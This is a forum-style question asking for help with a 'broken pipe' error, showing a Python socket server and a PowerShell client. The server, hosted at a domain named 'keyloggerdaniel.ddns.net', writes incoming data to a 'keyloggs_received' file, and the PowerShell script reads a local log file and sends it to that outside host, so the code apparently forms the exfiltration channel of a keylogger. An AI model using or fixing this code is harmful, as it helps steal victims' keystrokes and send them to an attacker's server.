I'm trying to send a string from powershell to a python server running on an other device. However I always receive an Pipe broken error and I don't know what to do.
Here is my server: It listens for connections, receives messages and adds those to a txt file.
import socket
import threading
HEADER = 64
PORT = 1337
SERVER = 'keyloggerdaniel.ddns.net'
ADDR = (SERVER, PORT)
FORMAT = 'utf-8'
DISCONNECT_MESSAGE = "!DISCONNECT"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(ADDR)
server.listen(5)
def handle_client(conn, addr):
print(f"[NEW CONNECTION] {addr} connected.")
filename = "keyloggs_received1.txt"
file = open(filename, 'wb')
connected = True
while connected:
msg_length = conn.recv(HEADER)
if msg_length:
msg_length = int(msg_length)
msg = conn.recv(msg_length)
#file_data = conn.recv(1024)
file.write(msg)
file.close()
conn.send("Msg received".encode(FORMAT))
print("File has been received successfully.")
conn.close()
def start():
server.listen()
print(f"[LISTENING] Server is listening on {SERVER}")
while True:
conn, addr = server.accept()
thread = threading.Thread(target=handle_client, args=(conn, addr))
thread.start()
print(f"[ACTIVE CONNECTIONS] {threading.activeCount() - 1}")
print("[STARTING] server is starting...")
start()
Here is my powershell code: I have the string on this pc and want to send it to the server:
$file = "C:\Users\Daniel Maderner\log.txt"
$file_Content =Get-Content $file
$socket = New-Object net.sockets.tcpclient('keyloggerdaniel.ddns.net',1337);
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$writer.WriteLine($file_Content);
$socket.close()